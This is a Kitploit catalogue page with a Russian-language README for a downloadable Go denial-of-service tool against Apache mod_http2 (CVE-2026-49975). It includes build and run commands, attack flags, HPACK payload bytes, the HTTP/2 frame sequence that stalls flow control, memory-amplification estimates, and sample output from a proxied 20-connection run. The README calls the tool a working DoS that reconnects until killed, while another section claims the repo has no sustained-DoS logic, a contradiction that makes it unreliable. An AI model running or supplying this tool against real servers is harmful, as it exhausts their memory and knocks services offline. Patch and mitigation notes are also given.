Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
POC-CVE-2026-49975 — Security research PoC для CVE-2026-49975: HTTP/2 HPACK compression bomb + flow-control hold DoS в Apache mod_http2 | Kitploit
Инструменты/GitHubGitHub/naheeju/poc-cve-2026-49975
Анализ уязвимостейЭксплуатацияВеб-безопасностьСетевая безопасность
GitHubnaheeju/poc-cve-2026-49975

POC-CVE-2026-49975

Security research PoC для CVE-2026-49975: HTTP/2 HPACK compression bomb + flow-control hold DoS в Apache mod_http2

Репозиторий
7 ч 37 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Go Version Status Scope CVSS License

CVE-2026-49975

HTTP/2 Bomb — HPACK Compression Bomb + Flow-Control Hold PoC

Security Research PoC от naheeju


⚠️ Это рабочий инструмент DoS, вызывающий исчерпание памяти — не игрушка. Он открывает потоки, заставляя цель выделять память, и удерживает их открытыми с помощью трюков с управлением потоком HTTP/2. Пока процесс запущен, он продолжает удерживать соединения и автоматически переподключается, если сервер разрывает соединение — сам по себе он не останавливается. Воздействие напрямую масштабируется с --threads, и . Остановка процесса (Ctrl+C) освобождает удерживаемые потоки и позволяет серверу восстановиться, но в работе по умолчанию нет ничего «мягкого» — относитесь к каждому запуску как к боевому испытанию.

--streams
--headers

1. Обзор

CVE-2026-49975 («HTTP/2 Bomb») — это удалённая уязвимость отказа в обслуживании, не требующая аутентификации, затрагивающая модуль mod_http2 веб-сервера Apache HTTP Server. Она объединяет две давно известные слабости HTTP/2:

  1. Бомба учёта HPACK — небольшой HTTP/2-запрос в кодировке HPACK заставляет несколько фрагментов заголовка Cookie объединяться без учёта в LimitRequestFields, вынуждая сервер многократно выделять память для внутренних структур учёта заголовков.
  2. Застой управления потоком (в стиле Slowloris) — клиент объявляет почти нулевое окно управления потоком, задерживая передачу ответа и удерживая затронутый поток(и) открытым, что не позволяет освободить выделенную память.

Результат: один клиент на скромном соединении может вызвать значительное, продолжительное выделение памяти на цели, пока поток удерживается открытым. Данная реализация поддерживает два режима полезной нагрузки и масштабируется линейно с настраиваемой конкурентностью:

  • Режим nginx — помещает пустой заголовок x-bomb в динамическую таблицу HPACK и многократно ссылается на него (~70:1 усиление на каждую ссылку).
  • Режим classic — вместо этого помещает заголовок cookie увеличенного размера (~4000:1 усиление на каждую ссылку).

Каждое соединение многократно ссылается на помещённый заголовок тысячи раз на поток (--headers, по умолчанию 5000), в нескольких потоках на соединение (--streams, по умолчанию 10) и в нескольких параллельных соединениях (--threads, по умолчанию 1). Если сервер закрывает соединение, инструмент немедленно переподключается и продолжает работу до ручной остановки — это цикл непрерывного удержания, а не однократный зонд.

Связанные идентификаторы для других затронутых стеков (не реализованы и не протестированы в этом репозитории):

  • Envoy → CVE-2026-47774
  • Microsoft IIS, Cloudflare Pingora → отслеживаются отдельно, CVE здесь не указаны

Полный охват класса лежащей в основе слабости, для полноты картины — техника «HTTP/2 Bomb» (бомба сжатия HPACK + удержание управления потоком) затрагивает несколько серверных реализаций помимо Apache. Этот репозиторий реализует и тестирует только случай Apache; остальное включено, чтобы читатели понимали более широкий класс, а не потому, что данный PoC их задействует:

РеализацияСтатусРеализовано в этом PoC?
Apache HTTP Server mod_http2Исправлено в httpd 2.4.68 (2026-06-08)Да — этот репозиторий
nginxИсправлено в 1.29.8Нет
EnvoyОтслеживается отдельноНет
Microsoft IISОтслеживается отдельноНет
Cloudflare PingoraОтслеживается отдельноНет
CVECVE-2026-49975
CWECWE-789 (Memory Allocation with Excessive Size Value, по NVD/CVE.org); также отслеживается как CWE-409 (Improper Handling of Highly Compressed Data) некоторыми вендорами
CVSS7.5 (High) — CVSS v3.1, вектор только по доступности (по NVD). Собственный бюллетень Apache оценивает его как Moderate.
Затронутый компонентApache HTTP Server mod_http2
Уязвимые версииApache httpd 2.4.17 ≤ версия ≤ 2.4.67 (конфигурация HTTP/2 по умолчанию)
Исправлено вApache HTTP Server 2.4.68 (выпущен 2026-06-08). Лежащее в основе исправление попало в upstream mod_h2 2026-05-27, было объединено в ветку httpd 2.4.x 2026-06-02 и вошло в релиз 2.4.68.
Тип атакиОтказ в обслуживании — исчерпание памяти (только доступность)
Требуется аутентификацияНет
Утечка данных / RCEНет — воздействие только на доступность
Известно об эксплуатацииВ настоящее время не отмечено как известное-эксплуатируемое-в-дикой-природе отслеживаемыми источниками.

Ссылки (первоисточники — проверяйте все утверждения самостоятельно):

  • Запись CVE: https://www.cve.org/CVERecord?id=CVE-2026-49975
  • Запись NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-49975
  • Бюллетень Apache / список уязвимостей: https://httpd.apache.org/security/vulnerabilities_24.html
  • Журнал изменений Apache 2.4.68 (ссылка на коммит исправления): https://dlcdn.apache.org/httpd/CHANGES_2.4.68
  • Оригинальная публикация об обнаружении: https://blog.calif.io/p/codex-discovered-a-hidden-http2-bomb

2. Область охвата этого репозитория

Этот репозиторий содержит:

  • Минимальный PoC-скрипт, воспроизводящий поведение HPACK-бомбы только с удержанием против цели, которую вы уполномочены тестировать.
  • Этот README, документирующий уязвимость, хронологию раскрытия и условия безопасного использования.

Этот репозиторий не содержит:

  • Любой автоматизации для сканирования интернета на уязвимые хосты.
  • Любой логики флудинга/поддержания DoS, наращивания конкурентности или списков учётных данных/целей.
  • Любого кода, нацеленного на конкретную живую систему по умолчанию. Цель должна быть явно указана оператором.

3. ⚖️ Правовое и этическое уведомление

Прочтите это прежде, чем делать что-либо ещё.

  • Этот PoC публикуется строго в образовательных целях и для защитных исследований в области безопасности — чтобы помочь операторам проверить собственную подверженность и поддержать публичную фиксацию уже раскрытой, уже исправленной уязвимости.
  • Вы должны иметь явное, документально подтверждённое разрешение от владельца системы, прежде чем запускать это против любой цели, которая не является вашей собственной инфраструктурой или системой, которую вы по договору/закону уполномочены тестировать (например, подписанный договор на пентест, рамки bug bounty или письменное разрешение).
  • Запуск этого PoC против систем, которыми вы не владеете и не уполномочены тестировать — включая, помимо прочего, государственные органы, правоохранительные органы, критическую инфраструктуру или любую стороннюю производственную систему — без разрешения незаконен в большинстве юрисдикций (в Индонезии это подпадает под UU ITE) и может являться уголовным преступлением в других странах.
  • Автор(ы) этого репозитория:
    • Не несут никакой ответственности за неправомерное использование этого кода.
    • Не одобряют использование этого PoC для нарушения работы, ухудшения качества или отказа в обслуживании любой системы без разрешения.
    • Предоставляют этот код как есть, без каких-либо гарантий.
  • Если вы вендор, агентство или оператор системы, который нашёл этот репозиторий потому, что ваша система была протестирована: см. Раздел 6 — Хронология раскрытия о том, как это было сообщено и кому.

Скачивая, клонируя или исполняя любой код в этом репозитории, вы соглашаетесь с тем, что несёте единоличную ответственность за обеспечение наличия надлежащего разрешения и принимаете полную юридическую ответственность за его использование.


4. Метод разведки

CVE-2026-49975 применима только к цели, удовлетворяющей обоим критериям из Раздела 1 — доступна по HTTP/2 и запускает уязвимую версию mod_http2 из диапазона (2.4.17 ≤ версия ≤ 2.4.67, конфигурация по умолчанию). Простого curl -vkI против HTTPS-порта цели достаточно, чтобы проверить оба — сканер или дополнительные флаги не нужны:

root@kitploit:~
curl -vkI https://<target>

На что смотреть в выводе:

  • ALPN: server accepted h2 — сервер согласовал HTTP/2 для этого соединения. Это предварительное условие для CVE-2026-49975, поскольку ошибка находится в mod_http2; сервер, который здесь никогда не принимал h2, не является кандидатом.
  • Заголовок ответа Server (виден после вывода заголовков ответа HEAD, ниже в выводе -v) — именно он подтверждает или исключает фактическую версию Apache/mod_http2 относительно уязвимого диапазона из Раздела 1. Принятие ALPN само по себе не подтверждает версию — для этого всё ещё нужен заголовок Server или эквивалентная проверка баннера.

Ничего сверх этого для разведки в этом репозитории не используется — ни активного эксплуатирующего трафика, ни сканеров уязвимостей, ни сканирования портов.


5. Требования

  • Среда выполнения: Go 1.26+ (модуль: cve202649975)
  • Зависимости: golang.org/x/net v0.59.0 (разрешается автоматически через go build)
  • Сетевой доступ: прямая достижимость TCP до уполномоченной цели на указанном порту (по умолчанию 443, TLS/h2 по умолчанию; --no-ssl для открытого h2c)
  • Опционально: proxychains4 — если бинарник запущен под proxychains4, он обнаруживает обёртку LD_PRELOAD, читает тот же proxychains4.conf и маршрутизирует свои соединения через этот SOCKS5-прокси (удалённое разрешение DNS) — полезно, когда рамки проекта требуют тестирования из определённого пути выхода
  • Разрешения: письменное разрешение / договор на проведение работ для тестируемой цели

6. Хронология раскрытия

Публичная хронология самой CVE-2026-49975: сообщено в Apache 2026-05-26; исправление попало в upstream mod_h2 2026-05-27; объединено в ветку httpd 2.4.x 2026-06-02; Apache HTTP Server 2.4.68 выпущен 2026-06-08.


7. Использование

Запускайте это только против цели, которую вы явно уполномочены тестировать. Встроенного ограничения по длительности или безопасного режима нет — вы отвечаете за то, как долго это работает и с какой конкурентностью.

Сборка:

root@kitploit:~
go build -o dos ./cmd
# or: sudo install -m 0755 dos /usr/local/bin/dos   (see build.sh)

Запуск:

root@kitploit:~
./dos <target> <port> [flags]
ФлагПо умолчаниюОписание
--threads N1Параллельные соединения
--streams N10Потоки, открываемые на соединение
--headers N5000Ссылки на динамическую таблицу HPACK на поток (драйвер усиления)
--mode nginx|classicnginxnginx = бомба учёта с пустым заголовком (~70:1); classic = бомба с «жирным» cookie (~4000:1, соответствует механизму объединения Cookie в Apache mod_http2, для которого отслеживается эта CVE)
--no-sslвыкл.Использовать открытый h2c вместо TLS

Пример, минимальный авторизованный лабораторный тест:

root@kitploit:~
./dos lab-target.internal 443 --threads 1 --streams 5 --headers 1000 --mode nginx

Ожидаемое поведение:

  • Печатает предполётную сводку (цель, режим, количество соединений/потоков, оценка памяти на стороне сервера) перед отправкой чего-либо.
  • Удерживает потоки открытыми с помощью капель WINDOW_UPDATE по 1 байту и периодических пингов; автоматически переподключается и повторяет при закрытии соединения сервером.
  • Останавливается только при Ctrl+C / SIGTERM — планируйте окно тестирования соответственно и отслеживайте память цели в реальном времени.
  • Рекомендуется: сначала проверить на staging/лабораторной среде с низкими --streams/--headers перед любым авторизованным производственным тестом, и в любом случае иметь наготове план отката/перезапуска целевого сервиса.

7a. Оценка нагрузки на RAM

Приблизительная формула памяти на стороне сервера для двух режимов этого инструмента (только Apache mod_http2 — см. Раздел 1 о том, как nginx/classic соотносятся с коэффициентом усиления):

root@kitploit:~
total_streams   = threads × streams
server_ram_MB   ≈ total_streams × headers × amplification_bytes / 1024²

# nginx mode (~70 bytes/ref), defaults (threads=1, streams=10, headers=5000):
#   1 × 10 × 5000 × 70 / 1024²  ≈ 3.3 MB held

# classic mode (~4000 bytes/ref), defaults:
#   1 × 10 × 5000 × 4000 / 1024² ≈ 190 MB held

Увеличивайте threads/streams/headers, и число растёт линейно — вот почему авторизованный лабораторный тест должен начинаться с низких значений (см. Раздел 7) перед любым запуском в производственном масштабе.


7b. Технические детали

Здесь документируется механизм, который реализует именно этот PoC против Apache mod_http2 — он не распространяется на другие серверные реализации, которые выходят за рамки этого репозитория (см. Раздел 2).

Затравка динамической таблицы HPACK (инкрементальная индексация, добавляет запись по индексу 62):

root@kitploit:~
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00              (nginx-mode seed: empty value)

Индексная ссылка на эту запись (по 1 байту, повторяется --headers раз):

root@kitploit:~
0x80 | 62 = 0xbe

Последовательность кадров HTTP/2 на соединение:

root@kitploit:~
Client → Server:
  PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n        (connection preface)
  SETTINGS [INITIAL_WINDOW_SIZE=0]         (flow-control stall setup)
  SETTINGS ACK                             (after reading server SETTINGS)
  HEADERS [stream 1]  ← HPACK bomb payload
  HEADERS [stream 3]  ← HPACK bomb payload
  ...                                      (up to --streams per connection)
  WINDOW_UPDATE(1) per stream, periodically   (keeps the stall alive)

Сетевые затраты малы и в основном фиксированы на поток (несколько байт для затравки + 1 байт на ссылку); именно выделение памяти на стороне сервера растёт непропорционально — этот разрыв и есть уязвимость.


7c. Пример вывода

Вывод авторизованного лабораторного запуска, режим classic, 20 соединений × 30 потоков/соед., 5000 ссылок HPACK/поток, маршрутизировано через proxychains:

root@kitploit:~
proxychains4 dos domain.com 443 --mode classic --threads 20 --streams 30 --headers 5000
root@kitploit:~
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17


 ██╗  ██╗██████╗     ██████╗  ██████╗ ███╗   ███╗██████╗
 ██║  ██║╚════██╗    ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗
 ███████║ █████╔╝    ██████╔╝██║   ██║██╔████╔██║██████╔╝
 ██╔══██║██╔═══╝     ██╔══██╗██║   ██║██║╚██╔╝██║██╔══██╗
 ██║  ██║███████╗    ██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝
 ╚═╝  ╚═╝╚══════╝    ╚═════╝  ╚═════╝ ╚═╝     ╚═╝╚═════╝

  CVE-2026-49975  —  HTTP/2 Bomb PoC  (HPACK bomb + flow-control hold)
  Go PoC by naheeju  ·  originally discovered by Calif.IO  ·  authorized testing only
──────────────────────────────────────────────────────────────────
  Run configuration
  Target           domain.com:443
  Mode             classic (~4000:1 amplification)
  Connections      20
  Streams/conn     30
  Total streams    600
  HPACK refs/str   5000
  Est. server RAM  ~11444 MB
  Proxychains      yes — SOCKS5 127.0.0.1:9050 (remote DNS, no leak)
──────────────────────────────────────────────────────────────────
  [~] Opening connection #1...
  ...
  [+] 30 streams open | ~572 MB pinned on server | holding...
  [+] 30 streams open | ~572 MB pinned on server | holding...
  ... (one line per connection as it finishes opening its 30 streams)

Каждое соединение независимо сообщает свой собственный вклад в локальную RAM по мере открытия потоков (~572 МБ на соединение при этих настройках); предполётная цифра Est. server RAM — это совокупность по всем 20 соединениям (~11.4 ГБ), когда каждое соединение полностью открыто и удерживается.

domain.com выше — это заполнитель — замените его на вашу фактическую авторизованную цель при документировании собственного запуска и отредактируйте, если проект конфиденциален.


8. Устранение

  • Apache HTTP Server: обновитесь до httpd 2.4.68 или более поздней версии (это релиз, содержащий исправление).
  • Если немедленное исправление невозможно:
    • Установите LimitRequestFields консервативно и отслеживайте поведение объединения заголовков.
    • Рассмотрите возможность отключения HTTP/2 на затронутом слушателе до исправления.
    • Поставьте перед сервисом обратный прокси/WAF, который обеспечивает жёсткое ограничение количества заголовков.
  • Повторно протестируйте после устранения, чтобы убедиться, что поведение удержания-и-освобождения больше не вызывает продолжительного роста памяти.

9. Благодарности / Атрибуция

Оригинальное обнаружение уязвимости и раскрытие в Apache (не связано с этим репозиторием или его автором):

  • Quang Luong, Calif.IO, в сотрудничестве с OpenAI Codex
  • Сообщено в проект Apache HTTP Server 2026-05-26; официальная строка благодарности опубликована в журнале изменений 2.4.68

Этот репозиторий (реализация на Go, написанная и протестированная после выхода публичного исправления):

  • Автор: naheeju
  • Независимый PoC, построенный по публичному описанию уязвимости и диффу патча, в целях верификации/обучения против авторизованных целей. Не связан с оригинальным обнаружением, Calif.IO или командой безопасности Apache.

Вопросы, исправления или соображения, связанные с ответственным раскрытием, касающиеся именно этого PoC: откройте issue в этом репозитории.

Лицензия: MIT (только код этого репозитория — см. LICENSE). Не распространяется на оригинальных исследователей или Apache Software Foundation и не подразумевает их одобрения.

Скачать инструмент